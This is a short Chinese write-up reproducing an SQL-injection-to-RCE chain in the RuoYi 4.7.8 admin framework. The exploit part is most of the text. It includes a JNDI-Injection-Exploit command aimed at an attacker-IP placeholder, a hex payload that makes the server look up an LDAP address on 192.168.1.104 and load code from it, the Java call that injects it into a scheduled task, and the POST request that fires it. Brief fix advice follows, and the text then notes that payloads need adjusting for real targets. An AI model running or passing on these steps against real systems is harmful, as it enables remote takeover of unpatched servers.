2026-10-30 13:16:45
若依4.7.8版本存在SQL注入漏洞,可通过计划任务接口实现远程代码执行。以下是漏洞复现的关键步骤:
一、漏洞成因SQL注入点
接口路径:/tool/gen/createTable
关键代码:Mapper文件中直接拼接SQL语句(${sql}),未过滤用户输入:
<update id="createTable">${sql}</update>调用链:GenTableServiceImpl#createTable → Mapper执行动态SQL。
绕过黑白名单
任务状态修改接口(如/monitor/job/changeStatus)未校验invoke_target参数,导致恶意代码可注入。
步骤1:启动恶意LDAP服务使用工具(如JNDI-Injection-Exploit)生成Payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "攻击机IP"步骤2:编码Payload并注入将LDAP地址转为十六进制,避免特殊字符拦截:
String hexPayload = "0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3139322E3136382E312E3130343A313338392F646573657269616C4A61636B736F6E2729";genTableServiceImpl.createTable("UPDATE sys_job SET invoke_target=" + hexPayload + " WHERE job_id=3;");效果:任务3的invoke_target被注入JNDI Payload。
步骤3:触发漏洞调用任务状态变更接口(如/monitor/job/changeStatus)启用任务,触发JNDI注入:
POST /monitor/job/changeStatus?jobId=3&status=0
禁止直接拼接SQL,使用预编译语句(如#{}替代${})。
对invoke_target等参数实施黑白名单校验。
修复版本已移除动态SQL拼接,建议升级至最新版。
Bean加载验证

任务修改效果

通过以上步骤,可复现若依4.7.8版本的SQL注入及RCE漏洞。实际利用需根据目标环境调整Payload编码方式。